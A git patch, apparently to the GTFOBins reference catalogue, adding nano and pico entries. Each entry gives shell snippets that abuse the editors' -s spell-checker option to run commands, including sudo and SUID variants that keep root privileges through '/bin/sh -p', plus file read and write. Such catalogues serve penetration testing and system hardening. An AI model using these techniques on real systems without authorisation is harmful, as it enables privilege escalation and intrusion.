From d8c9db35614efc55900862a0da0f2c46a169410c Mon Sep 17 00:00:00 2001 From: Emilio Pinna Date: Tue, 29 May 2018 18:23:33 +0100 Subject: [PATCH] Add nano and pico --- _gtfobins/nano.md | 37 +++++++++++++++++++++++++++++++++++++ _gtfobins/pico.md | 37 +++++++++++++++++++++++++++++++++++++ 2 files changed, 74 insertions(+) create mode 100644 _gtfobins/nano.md create mode 100644 _gtfobins/pico.md diff --git a/_gtfobins/nano.md b/_gtfobins/nano.md new file mode 100644 index 0000000..8bdc14c --- /dev/null +++ b/_gtfobins/nano.md @@ -0,0 +1,37 @@ +--- +functions: + execute-non-interactive: + - description: After running this exit the editor to see the command output. + code: | + COMMAND=id + TF=$(mktemp) + echo "$COMMAND" > $TF + chmod +x $TF + nano -s $TF + ^T + sudo-enabled: + - description: After running this exit the editor to see the command output. + code: | + COMMAND=id + TF=$(mktemp) + echo "$COMMAND" > $TF + chmod +x $TF + sudo nano -s $TF + ^T + suid-enabled: + - description: After running this exit the editor to see the command output. + code: |- + COMMAND=id + TF=$(mktemp) + echo $'#!/bin/sh -p\n'"$COMMAND" > $TF + chmod +x $TF + ./nano -s $TF + ^T + file-read: + - code: | + nano file_to_read + file-write: + - code: | + nano file_to_write + ^O +--- diff --git a/_gtfobins/pico.md b/_gtfobins/pico.md new file mode 100644 index 0000000..da9da1a --- /dev/null +++ b/_gtfobins/pico.md @@ -0,0 +1,37 @@ +--- +functions: + execute-non-interactive: + - description: After running this exit the editor to see the command output. + code: | + COMMAND=id + TF=$(mktemp) + echo "$COMMAND" > $TF + chmod +x $TF + pico -s $TF + ^T + sudo-enabled: + - description: After running this exit the editor to see the command output. + code: | + COMMAND=id + TF=$(mktemp) + echo "$COMMAND" > $TF + chmod +x $TF + sudo pico -s $TF + ^T + suid-enabled: + - description: After running this exit the editor to see the command output. + code: |- + COMMAND=id + TF=$(mktemp) + echo $'#!/bin/sh -p\n'"$COMMAND" > $TF + chmod +x $TF + ./pico -s $TF + ^T + file-read: + - code: | + pico file_to_read + file-write: + - code: | + pico file_to_write + ^O +---